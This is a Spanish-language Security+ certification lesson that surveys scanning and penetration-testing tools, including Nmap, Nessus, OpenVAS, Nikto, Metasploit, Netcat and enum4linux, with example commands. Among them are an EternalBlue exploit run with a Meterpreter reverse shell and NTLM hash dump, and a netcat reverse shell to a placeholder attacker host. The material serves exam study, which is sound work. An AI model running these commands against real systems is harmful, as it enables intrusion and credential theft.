Security+ Academy · Lección

Herramientas habituales de análisis: Nessus, OpenVAS y Nmap

Familiarícese de forma práctica con herramientas estándar del sector para descubrir hosts, analizar puertos e identificar vulnerabilidades.

Lección 2 de 413 pasos

Herramientas habituales de análisis: Nessus, OpenVAS y Nmap es una lección gratuita de Security+ Academy en CoddyKit. Esta es la lección 2 de 4. Puedes leer la lección completa abajo gratuitamente — luego la practicas en el navegador con un editor de código integrado y un tutor de IA 24/7. Forma parte de la ruta de aprendizaje de Security+ Academy, y tu progreso se sincroniza en la web y la app de CoddyKit. El curso de Security+ Academy incluye 4 lecciones en total.

El ecosistema de herramientas de escaneo

Los profesionales de la seguridad utilizan diversas herramientas de escaneo para distintos fines: descubrimiento de hosts, escaneo de puertos, enumeración de servicios, detección del sistema operativo, identificación de vulnerabilidades y pruebas de aplicaciones web. Security+ espera que conozca las herramientas más utilizadas en cada categoría. Comprender qué hace cada herramienta —y qué no puede hacer— le ayuda a seleccionar la adecuada para cada tarea e interpretar correctamente los resultados. Los resultados de varias herramientas complementarias proporcionan una cobertura más completa que cualquier herramienta por sí sola.

Nmap: el mapeador de redes

Nmap (Network Mapper) es la herramienta de código abierto más utilizada para el descubrimiento de redes y las auditorías de seguridad. Puede descubrir hosts activos, enumerar puertos abiertos, detectar servicios en ejecución y sus versiones, e identificar el sistema operativo. Nmap utiliza varias técnicas de escaneo, entre ellas escaneo SYN (la opción predeterminada, rápida y relativamente sigilosa), TCP Connect (protocolo de enlace completo, más ruidoso, pero no requiere privilegios de root), escaneo UDP y escaneo de versiones. Incluye Nmap Scripting Engine (NSE), que proporciona cientos de scripts para detectar vulnerabilidades, realizar ataques de fuerza bruta y explotar sistemas.

# Common Nmap scan types:
nmap -sS 192.168.1.0/24          # SYN scan (fast, stealthy)
nmap -sT 192.168.1.10            # TCP connect scan
nmap -sU -p 53,67,161 target     # UDP scan specific ports
nmap -sV 192.168.1.10            # version detection
nmap -O 192.168.1.10             # OS detection
nmap -A 192.168.1.10             # aggressive: -sV -O -sC --traceroute
nmap -p- 192.168.1.10            # scan all 65535 ports
nmap --script vuln 192.168.1.10  # run vulnerability scripts

Resultados e interpretación de Nmap

Interpretar correctamente los resultados de Nmap es una habilidad esencial. Cada línea representa un puerto con su estado (open: el servicio está escuchando; closed: el host respondió, pero no hay ningún servicio escuchando; filtered: no hay respuesta o ICMP indica que no se puede acceder, probablemente debido a un firewall), el protocolo y el servicio o la versión detectados. Los puertos abiertos representan una posible superficie de ataque. Los puertos abiertos inesperados en un host pueden indicar un compromiso o servicios no autorizados. Los indicadores -oN, -oX y -oG guardan los resultados en formatos normal, XML y apto para grep; guardar los resultados es fundamental para documentarlos y compararlos entre escaneos a lo largo del tiempo.

# Sample Nmap output:
# PORT     STATE SERVICE  VERSION
# 22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu
# 80/tcp   open  http     Apache 2.4.41
# 443/tcp  open  ssl/http Apache 2.4.41
# 8080/tcp open  http     Jetty 9.4.39
# 3306/tcp open  mysql    MySQL 8.0.26
# 3306 open to internet = HIGH RISK (should be internal only)

# Save output:
nmap -sV 192.168.1.0/24 -oN scan_results.txt -oX scan_results.xml

Nessus: escáner empresarial de vulnerabilidades

Nessus (de Tenable) es el escáner comercial de vulnerabilidades más implementado. Utiliza una arquitectura de complementos con más de 100.000 complementos que abarcan CVE, comprobaciones de configuración, referencias de cumplimiento (CIS, DISA STIG) y detección de malware. Nessus realiza escaneos con credenciales iniciando sesión en los sistemas con las credenciales proporcionadas para inspeccionar las versiones del software instalado, las claves del registro y los archivos de configuración, lo que produce resultados mucho más precisos que el sondeo de red sin credenciales. Nessus genera informes detallados con puntuaciones CVSS, descripciones de vulnerabilidades y recomendaciones de corrección. La versión gratuita Nessus Essentials permite escanear hasta 16 IP.

# Nessus scan configuration key settings:
# Scan type: Advanced Scan (most control)
# Credentials: Windows (domain admin), SSH (root or sudo)
# Plugins: enable 'Safe Checks' to avoid crashing systems
# Schedule: define scan window (off-hours recommended)

# Nessus output rating:
# Critical (CVSS 9.0-10.0): remote code execution, critical data exposure
# High     (CVSS 7.0-8.9):  privilege escalation, severe data exposure
# Medium   (CVSS 4.0-6.9):  local privilege escalation, information disclosure
# Low      (CVSS 0.1-3.9):  minimal impact, hardening issues
# Info:    configuration data, no immediate risk

OpenVAS: escaneo de vulnerabilidades de código abierto

OpenVAS (Open Vulnerability Assessment System) es un escáner de vulnerabilidades gratuito y de código abierto mantenido por Greenbone Networks. Es la bifurcación respaldada por la comunidad del Nessus original, antes de que este se volviera comercial. OpenVAS utiliza NVT (Network Vulnerability Tests), análogos a los complementos de Nessus. Greenbone Community Edition (GCE) proporciona una interfaz de administración web (Greenbone Security Assistant). OpenVAS es popular en entornos donde los costes de las licencias impiden utilizar herramientas comerciales. Tiene un conjunto de funciones más amplio que Nmap y sigue siendo gratuito, por lo que es una opción habitual para organizaciones pequeñas, entornos académicos y laboratorios de seguridad.

# OpenVAS quick start:
# Install via Kali Linux or Docker:
gvm-setup    # initial setup (takes time to download feeds)
gvm-start    # start OpenVAS services

# Create a scan in the web UI (https://localhost:9392):
# 1. Create Target (host IPs, credentials)
# 2. Create Scan Config (Full and Fast, or Full Deep)
# 3. Create Task -> assign target + config
# 4. Start Task -> review Results report

# CLI scan:
openvas-cli --host=127.0.0.1 --user=admin --xml="<start_task>..."

Nikto: escáner de vulnerabilidades de servidores web

Nikto es un escáner de servidores web de código abierto que busca archivos peligrosos, versiones de software obsoletas, problemas de configuración del servidor y vulnerabilidades web comunes. Comprueba más de 6.700 problemas conocidos, incluidos métodos HTTP inseguros, encabezados de seguridad ausentes, interfaces de administración expuestas, credenciales predeterminadas y vulnerabilidades CGI comunes. Nikto es ruidoso y no está diseñado para pasar desapercibido: genera una cantidad considerable de registros en el objetivo. Complementa los escáneres de nivel de red al proporcionar comprobaciones específicas de la web que Nessus y OpenVAS quizá no cubran en profundidad. Utilice Nikto únicamente en sistemas para los que tenga autorización de prueba.

# Nikto web scan examples:
nikto -h 192.168.1.10                    # basic scan
nikto -h https://192.168.1.10            # HTTPS target
nikto -h 192.168.1.10 -p 8080,8443      # multiple ports
nikto -h 192.168.1.10 -o report.html -Format html  # save report

# Nikto checks include:
# - Missing X-Frame-Options, Content-Security-Policy headers
# - Apache/nginx version disclosure
# - /admin, /phpinfo.php, /.git/ exposed
# - Default test files (phpMyAdmin, WebDAV)

Metasploit Framework

Metasploit Framework es la plataforma de pruebas de penetración más utilizada y proporciona una base de datos de exploits, payloads, módulos auxiliares y herramientas posteriores a la explotación. Quienes se preparan para Security+ deben comprender qué es Metasploit y cómo encaja en una prueba de penetración, aunque nunca lo hayan utilizado. Los módulos de Metasploit incluyen: exploits (código que aprovecha una vulnerabilidad), payloads (shellcode que se ejecuta después de una explotación correcta, como Meterpreter), módulos auxiliares (escaneo, fuzzing y enumeración sin explotación) y módulos post (para la escalada de privilegios, la extracción de credenciales y el desplazamiento lateral después del acceso inicial).

# Metasploit Framework basic workflow:
msfconsole                          # start Metasploit
search eternalblue                  # search for exploit
use exploit/windows/smb/ms17_010_eternalblue
info                               # show exploit details
set RHOSTS 192.168.1.10            # target IP
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5              # attacker IP
run                                # execute exploit

# After shell:
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump              # dump NTLM hashes

Netcat: la navaja suiza

Netcat (nc) es una utilidad sencilla pero versátil que lee y escribe datos a través de conexiones de red mediante TCP o UDP. Tiene innumerables usos en seguridad: establecer shells inversas desde hosts comprometidos, transferir archivos entre segmentos de red, analizar puertos, crear listeners de red sencillos para realizar pruebas y capturar banners para identificar versiones de servicios. Su sencillez y disponibilidad en prácticamente todos los sistemas Linux hacen que sea una herramienta utilizada con frecuencia tanto en la administración legítima como en los kits de herramientas de los atacantes, por lo que también es importante comprenderla desde la perspectiva de la detección.

# Netcat usage examples:
# Banner grabbing:
nc -v 192.168.1.10 22    # grab SSH banner
nc -v 192.168.1.10 80    # grab HTTP banner

# Port scan:
nc -zv 192.168.1.10 1-1024 2>&1 | grep succeeded

# Reverse shell (attacker listens, victim connects out):
# Attacker: nc -lvnp 4444
# Victim: nc attacker_ip 4444 -e /bin/bash

# File transfer:
# Receiver: nc -lvnp 9999 > received_file.txt
# Sender:   nc receiver_ip 9999 < file.txt

Herramientas de Recon-ng y OSINT

Recon-ng es un framework de reconocimiento web diseñado para recopilar OSINT (inteligencia de fuentes abiertas). Utiliza módulos que consultan fuentes públicas —Shodan, Bing, HaveIBeenPwned, registros DNS, LinkedIn, WHOIS y registros de transparencia de certificados— para recopilar información sobre un objetivo antes de iniciar cualquier análisis activo. La fase de reconocimiento de una prueba de penetración suele comenzar con OSINT para crear una imagen de la topología de red del objetivo, los nombres de sus empleados, los formatos de correo electrónico, las tecnologías utilizadas y los activos expuestos públicamente. Un buen trabajo de OSINT puede revelar rutas de ataque que tardarían mucho más en encontrarse mediante un análisis activo por sí solo.

# OSINT tool chain for reconnaissance:
# 1. WHOIS: domain registration details
whois example.com

# 2. DNS enumeration:
dnsrecon -d example.com -t std
fiercer --domain example.com

# 3. Shodan: internet-facing device search
# shodan search 'org:"Target Corp" port:3389'

# 4. theHarvester: emails, subdomains, names
theharvester -d example.com -l 500 -b google,linkedin

# 5. Certificate transparency:
crt.sh/?q=%.example.com  (reveals subdomains via certs)

Enumeración de red con Enum4linux

Enum4linux enumera información de hosts Windows y servidores Samba (SMB de Linux) mediante sesiones nulas y MSRPC. Extrae nombres de usuario, pertenencia a grupos, recursos compartidos, políticas de contraseñas e información del grupo de trabajo. Durante las pruebas de penetración internas, enum4linux puede revelar rápidamente las cuentas de usuario disponibles para realizar password spraying y la estructura de recursos compartidos de un entorno. Las versiones modernas de Windows restringen de forma predeterminada el acceso mediante sesiones nulas, pero los entornos mal configurados suelen exponer una cantidad considerable de información. Impacket, mediante samrdump.py, y CrackMapExec ofrecen capacidades similares para la enumeración autenticada.

# Enum4linux Windows enumeration:
enum4linux -a 192.168.1.10       # all enumeration
enum4linux -U 192.168.1.10       # users only
enum4linux -S 192.168.1.10       # shares only

# CrackMapExec (authenticated enumeration):
crackmapexec smb 192.168.1.0/24 -u admin -p Password1
crackmapexec smb 192.168.1.10 --users
crackmapexec smb 192.168.1.10 --shares

# Nmap SMB scripts:
nmap --script smb-enum-users 192.168.1.10
nmap --script smb-os-discovery 192.168.1.10

Selección de la herramienta adecuada para cada tarea

Los profesionales de la seguridad adaptan las herramientas a cada tarea. Para el descubrimiento de hosts y el análisis de puertos: Nmap. Para la identificación de vulnerabilidades a escala: Nessus (comercial) u OpenVAS (gratuito). Para las vulnerabilidades de servidores web: Nikto. Para los ataques contra aplicaciones web: Burp Suite. Para la explotación: Metasploit. Para el reconocimiento OSINT: Recon-ng, theHarvester y Shodan. Para el análisis del tráfico de red: Wireshark y tcpdump. Para los ataques inalámbricos: la suite Aircrack-ng. El examen Security+ evalúa el conocimiento conceptual de estas herramientas: debe saber para qué se utiliza cada una, incluso sin tener experiencia práctica con todas ellas.

Comprobación rápida

Ponga a prueba su comprensión de los conceptos de CompTIA Security+ (SY0-701) de esta lección.

Resumen de la lección

En esta lección ha aprendido que Nmap es la base para el descubrimiento de hosts, el análisis de puertos y la detección de versiones, con un potente motor de scripts para ampliar sus capacidades; que Nessus y OpenVAS realizan análisis exhaustivos de vulnerabilidades frente a CVE conocidas y ofrecen la mayor precisión mediante el acceso autenticado; y que Metasploit proporciona un framework de explotación para que los profesionales de las pruebas de penetración confirmen que las vulnerabilidades son realmente explotables y demuestren su impacto real. A continuación, exploraremos el ciclo de vida completo de una prueba de penetración, desde el reconocimiento hasta la elaboración del informe.

Gratis para empezar

Aprende Security+ Academy con un tutor de IA — gratis

Escribe y ejecuta código real en tu navegador, obtén ayuda instantánea de un tutor de IA disponible 24/7 y continúa donde lo dejaste en la web o en la aplicación.

Cursos
30
Lecciones
120

Preguntas frecuentes

¿La lección «Herramientas habituales de análisis: Nessus, OpenVAS y Nmap» es gratis?

Sí — el texto completo de «Herramientas habituales de análisis: Nessus, OpenVAS y Nmap» es gratis para leer aquí en la web. Para practicarla de forma interactiva (editor de código integrado y tutor de IA 24/7) y desbloquear el resto del curso de Security+ Academy, actualiza a CoddyKit PRO. El curso de Security+ Academy incluye 4 lecciones en total.

¿Qué aprenderé en «Herramientas habituales de análisis: Nessus, OpenVAS y Nmap»?

Familiarícese de forma práctica con herramientas estándar del sector para descubrir hosts, analizar puertos e identificar vulnerabilidades. Practicas Security+ Academy con código real que ejecutas directamente en el navegador, y un tutor de IA 24/7 responde tus preguntas mientras trabajas en la lección.

¿Necesito experiencia previa para empezar Security+ Academy?

No se requiere experiencia previa. Security+ Academy en CoddyKit está estructurado para principiantes hasta estudiantes avanzados, así que puedes empezar aquí o desde el inicio y avanzar a tu ritmo. Esta es la lección 2 de 4.

¿Cuánto tiempo toma la lección «Herramientas habituales de análisis: Nessus, OpenVAS y Nmap»?

La mayoría de las lecciones de CoddyKit toman alrededor de 5–10 minutos. Cada una es compacta e interactiva, así que avanzas constantemente y retomas exactamente por donde dejaste en la web y la app.

¿Puedo escribir y ejecutar código en esta lección de Security+ Academy?

Sí. Cada lección de Security+ Academy incluye un editor de código integrado, así que escribes y ejecutas código real directamente en tu navegador y obtienes retroalimentación instantánea de IA — sin configuración local necesaria.

Todas las lecciones de este curso

  1. Análisis de vulnerabilidades frente a pruebas de penetración
  2. Herramientas habituales de análisis: Nessus, OpenVAS y Nmap
  3. Fases de las pruebas de penetración: del reconocimiento al informe
  4. Puntuación CVSS y priorización de vulnerabilidades
← Volver a Security+ Academy